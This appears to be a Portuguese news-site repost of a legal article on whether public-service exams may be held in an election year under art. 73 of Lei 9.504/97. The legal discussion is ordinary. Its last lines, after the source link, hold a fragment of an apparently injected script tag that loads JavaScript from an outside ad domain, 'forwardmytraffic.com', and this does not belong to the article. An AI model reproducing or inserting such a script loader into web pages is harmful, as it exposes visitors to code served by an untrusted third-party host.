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Afinal, pode ou não ser realizado concursos públicos em ano de eleição?

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Olá pessoal, hoje escrevo para vocês sobre uma questão que deixa muitas dúvidas na cabeça dos colegas concurseiros: em ano eleitoral pode se realizado concursos públicos?

 

Como todos sabemos, neste ano haverá eleições, mas também existe previsão de realização de alguns concursos federais de grande expectativa, como PF, PRF, ABIN e STJ.

 

Pois bem, para obter a resposta da pergunta constante no tópico do artigo, faz-se necessário vermos o que diz o art. 73, v, alínea a, da Lei nº 9.504/97, vejamos:

 

Art. 73. São proibidas aos agentes públicos, servidores ou não, as seguintes condutas tendentes a afetar a igualdade de oportunidades entre candidatos nos pleitos eleitorais:

 

(…)

V – nomear, contratar ou de qualquer forma admitir, demitir sem justa causa, suprimir ou readaptar vantagens ou por outros meios dificultar ou impedir o exercício funcional e, ainda, ex officio, remover, transferir ou exonerar servidor público, na circunscrição do pleito, nos três meses que o antecedem e até a posse dos eleitos, sob pena de nulidade de pleno direito, RESSALVADOS:

b) a nomeação para cargos do Poder Judiciário, do Ministério P

úblico, dos Tribunais ou Conselhos de Contas e dos órgãos da Presidência da República;

c) a nomeação dos aprovados em concursos públicos homologados até o início daquele prazo;

 

Assim, fica claro que não há qualquer restrição à realização de concursos públicos nos 3 meses que antecedem o pleito.

 

No entanto, caso ocorra algum concurso público neste período, os eventuais aprovados não poderão SER NOMEADOS.

 

Ressalte-se que, se já houver sido realizado o concurso em período anterior à época eleitoral (3 meses anteriores), será possível nomear os aprovados, mesmo que no período eleitoral.

 

Portanto, poderão ser realizados concursos públicos nos 3 meses anteriores à eleição, somente não podendo haver a nomeação dos aprovados neste período.

 

 

fonte: https://felipemedeirosadv.jusbrasil.com.br/artigos/576744666/afinal-pode-ou-nao-ser-realizado-concursos-publicos-em-ano-de-eleicao?utm_campaign=newsletter-daily_20180514_7064&utm_medium=email&utm_source=newsletter… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
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